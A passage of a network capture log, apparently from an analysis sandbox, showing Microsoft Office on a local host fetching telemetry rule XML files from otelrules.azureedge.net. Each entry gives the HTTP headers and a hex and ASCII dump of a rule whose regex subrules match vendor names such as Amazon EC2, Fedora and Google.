DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	57960	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: c1d78269-101e-0028-2e08-1c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-1597f696844b28npvxxwfummdg000000023000000000fk60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	57959	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: feb590ad-c01e-002b-07cb-1b6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-1597f6968448879qsksvpyxqh400000000w0000000012etb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	57962	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 1853d52b-701e-0021-22a3-1b3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-1597f696844q8c67yszg3hsx0000000003wg0000000043ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	57961	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 9bed673a-001e-0046-278c-15da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-r154656d9bc5qmxtyvgyzcay0c0000000nwg00000000qna3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:05 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	58991	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 4a48b82a-601e-003d-45a3-1b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-r154656d9bcqc2n2s48bp5ktg80000000240000000008dkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:05 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	58992	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: aa7a1e39-401e-0067-20a3-1b09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-1597f696844nchg575aqhm8m1800000001ng00000000ptf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:05 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	58994	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7ff7f554-601e-0001-0de7-1bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-1597f696844wqd6lfkgu19yfdc00000003x000000000h3xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	58993	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: ba19d68d-701e-0032-3e7e-18a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-r154656d9bckpfgl7fe14swubc0000000nv0000000014etg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	58995	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 29a213d0-e01e-0033-71a3-1b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183006Z-r154656d9bcwntfgrk9d0utmv800000000v0000000012m2f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	58997	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 9e8ff732-801e-00a3-21e9-1b7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183006Z-r154656d9bcqc2n2s48bp5ktg8000000022g00000000eta5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	58998	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: fd486831-f01e-005d-3fa3-1b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183006Z-1597f696844r6vmva1wkvnf04w00000001h0000000018pfk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	59000	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:06 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c276760a-301e-0051-159c-1538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183006Z-r154656d9bcbnsv5vrs89mh8t400000002tg000000006rfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
